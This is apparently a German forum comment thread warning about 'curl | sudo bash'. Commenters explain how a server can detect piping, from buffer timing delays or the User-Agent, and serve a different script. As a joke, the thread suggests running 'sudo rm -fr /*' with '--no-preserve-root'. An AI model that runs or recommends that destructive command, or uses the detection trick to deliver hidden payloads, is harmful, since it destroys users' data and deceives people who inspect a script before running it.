Webserver können erkennen ob man curl in sh pipt oder in eine Datei. Heißt es ist möglich unterschiedliche Dateien auszuliefern. Wenn man sich die Datei erst anschaut und dann curl sh macht ist man dennoch nicht sicher.
In kurz bash führt das Script Zeile für Zeile aus. Wenn jetzt am Anfang ein Befehl ist, der Zeit braucht, sei es ein sleep, Datei runterladen oder ein Auswahlmenü, dann nimmt bash keine weiteren Zeichen entgegen. Heißt wenn wir den Puffer gefüllt haben, merken wir auf unserem Server diese Verzögerung, weil die Aufforderung kommt zu warten bis der Puffer wieder frei ist. Nach dem erkennen können wir andere Daten schicken.
Die Pipe nicht, aber curl lässt sich am User-Agent erkennen (sofern man den nicht über einen Parameter im Aufruf auf einen beliebigen anderen String gesetzt hat)
curl https://random.web.site/scripts/suspicious.sh | sudo bash
sudo rm -fr /*
Um alles Französische von der Platte zu löschen
Das probier ich morgen aus. Tipps aus dem Internet können nicht flasch sein
Vergiss nicht
--no-preserve-root
hinzuzufügen, um auch wirklich alles mit französischen Wurzeln zu entfernen.Braucht man nur mit
/
, nicht bei/*
.Das ist nur wichtig, wenn du das Lokalpaket Elsaß-Lothringen vorher sichern möchtest!
--n
reicht.Nicht so fun fact:
Webserver können erkennen ob man curl in sh pipt oder in eine Datei. Heißt es ist möglich unterschiedliche Dateien auszuliefern. Wenn man sich die Datei erst anschaut und dann curl sh macht ist man dennoch nicht sicher.
erzähl mir mehr…wie erkennt man das?
Hier.
In kurz bash führt das Script Zeile für Zeile aus. Wenn jetzt am Anfang ein Befehl ist, der Zeit braucht, sei es ein sleep, Datei runterladen oder ein Auswahlmenü, dann nimmt bash keine weiteren Zeichen entgegen. Heißt wenn wir den Puffer gefüllt haben, merken wir auf unserem Server diese Verzögerung, weil die Aufforderung kommt zu warten bis der Puffer wieder frei ist. Nach dem erkennen können wir andere Daten schicken.
Die Pipe nicht, aber curl lässt sich am User-Agent erkennen (sofern man den nicht über einen Parameter im Aufruf auf einen beliebigen anderen String gesetzt hat)
Wie sinst soll man die Konfiguration, die man in dem GitRepo gefunden hat richtig hinbekommen?
Du meinst, “Wie soll ich sonst mein Enterprise-Container-Verwaltungssystem auf den Produktionsserver bringen?”
Wie sinst soll man die Konfiguration, die man in dem GitRepo gefunden hat richtig hinbekommen?